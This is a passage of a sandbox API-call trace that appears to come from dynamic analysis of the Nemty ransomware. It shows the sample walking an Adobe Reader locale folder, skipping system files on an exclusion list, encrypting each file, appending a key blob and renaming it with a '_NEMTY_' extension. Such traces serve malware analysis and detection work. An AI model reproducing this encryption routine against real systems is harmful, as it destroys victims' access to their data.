(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.651] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.651] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.651] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.651] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="uDaA/tDIm67lxETbqA3rO6Wc3f000ck5p4j6GRgfyvCefquEwn5lmsTDqvsK5T2W\r\n6YFvrmd1JSEZJzsf0jfAqza+6FuqFS1XspqxWd0xQBmqTTvHOrE3BVCF/MwpdXbo\r\npHcuJElqJF9zNbOuuE6ObbY89WxE65NqY4JM+K8sOFpu8X+I4VhVptBD4gYzXedz\r\nG4SEznHLAZ5ncDcqRhJyn6Z68yVGpU0eDJEWlbzF8lYN2xxEWn48bo3iUQ5i3lZm\r\ne1NTUr0f4/KilzkYty093KLFgbrlQPGtXp0V6J1EUTVGCoBHoPJNM8IGi+UObSXv\r\nIgg2fCI89n7nIbELZa7Imw==\r\n", pcchString=0x653e5dc) returned 1 [0177.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.651] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\RdLang32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\rdlang32.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.652] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1352192) returned 1 [0177.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0177.652] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.652] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0177.661] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.661] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0177.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.662] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1352192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14a200 [0177.662] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.663] CloseHandle (hObject=0x2e8) returned 1 [0177.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.664] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\RdLang32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\rdlang32.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\RdLang32.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\rdlang32.hrv._nemty_kgobjgd_")) returned 1 [0177.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.664] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.HRV", cAlternateFileName="READOU~1.HRV")) returned 1 [0177.664] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2=".") returned 1 [0177.664] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="..") returned 1 [0177.664] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="...") returned 1 [0177.664] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="windows") returned -1 [0177.664] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.664] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="rsa") returned -1 [0177.665] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="NTDETECT.COM") returned 1 [0177.665] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="ntldr") returned 1 [0177.665] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="MSDOS.SYS") returned 1 [0177.665] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="IO.SYS") returned 1 [0177.665] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="boot.ini") returned 1 [0177.665] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="boot.ini") returned 1 [0177.665] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.665] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="ntuser.dat") returned 1 [0177.665] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="desktop.ini") returned 1 [0177.665] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="CONFIG.SYS") returned 1 [0177.665] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="RECYCLER") returned -1 [0177.665] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.665] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="bootmgr") returned 1 [0177.665] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="programdata") returned 1 [0177.665] lstrcmpiW (lpString1="ReadOutLoud.HRV", lpString2="appdata") returned 1 [0177.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HRV", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0177.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HRV", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.HRV", lpUsedDefaultChar=0x0) returned 15 [0177.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HRV", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0177.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HRV", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.HRV", lpUsedDefaultChar=0x0) returned 15 [0177.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HRV", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0177.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HRV", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.HRV", lpUsedDefaultChar=0x0) returned 15 [0177.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HRV", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0177.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HRV", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.HRV", lpUsedDefaultChar=0x0) returned 15 [0177.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.666] Sleep (dwMilliseconds=0x5) [0177.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d8b5090, dwHighDateTime=0x1d561e8)) [0177.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d8b5090, dwHighDateTime=0x1d561e8)) [0177.666] GetLastError () returned 0x0 [0177.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.666] GetLastError () returned 0x0 [0177.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.666] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.666] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.667] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.667] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="gENHjzTDag3i1KREAnUEgrCd5u8UjxYA3NOXREk4Qr0Hp3mgRDWVCRgOm+72v1Yx\r\nW8NapSLN8+vnsEExg4ZWsFximtCnjMZdFlWLNRFCn0OZ2k/y1EjTPXyS12urdUG8\r\nrRgvbpBtl51LHtWQO98Aw7fxFoDRDSPKeXJmQ4wMHwEXhN8KjTF14bR87266j2D4\r\nkYezkFT6GxHLkymVa2l0kL4NmK+HB/DF+x60UrRiGsTO0TOssWR6ZeywaRCo1Cvi\r\n1hw9CdURaRw8VeZhF7tghBJIdiab7LNHKlxMVMzwfcNty2PryFbTLM4m3mpkV2CR\r\nekxKbdZuk3uM6nq2KeZ6gg==\r\n", pcchString=0x653e5dc) returned 1 [0177.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.667] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\ReadOutLoud.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\readoutloud.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.668] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0177.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0177.668] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.668] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0177.670] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.670] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0177.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.670] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0177.670] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.670] CloseHandle (hObject=0x2e8) returned 1 [0177.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.671] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\ReadOutLoud.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\readoutloud.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\ReadOutLoud.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\readoutloud.hrv._nemty_kgobjgd_")) returned 1 [0177.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.672] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Reflow.HRV", cAlternateFileName="")) returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2=".") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="..") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="...") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="windows") returned -1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="rsa") returned -1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="NTDETECT.COM") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="ntldr") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="MSDOS.SYS") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="IO.SYS") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="boot.ini") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="boot.ini") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="ntuser.dat") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="desktop.ini") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="CONFIG.SYS") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="RECYCLER") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="bootmgr") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="programdata") returned 1 [0177.672] lstrcmpiW (lpString1="Reflow.HRV", lpString2="appdata") returned 1 [0177.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.HRV", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.HRV", lpUsedDefaultChar=0x0) returned 10 [0177.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.HRV", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.HRV", lpUsedDefaultChar=0x0) returned 10 [0177.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.HRV", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.HRV", lpUsedDefaultChar=0x0) returned 10 [0177.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.673] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 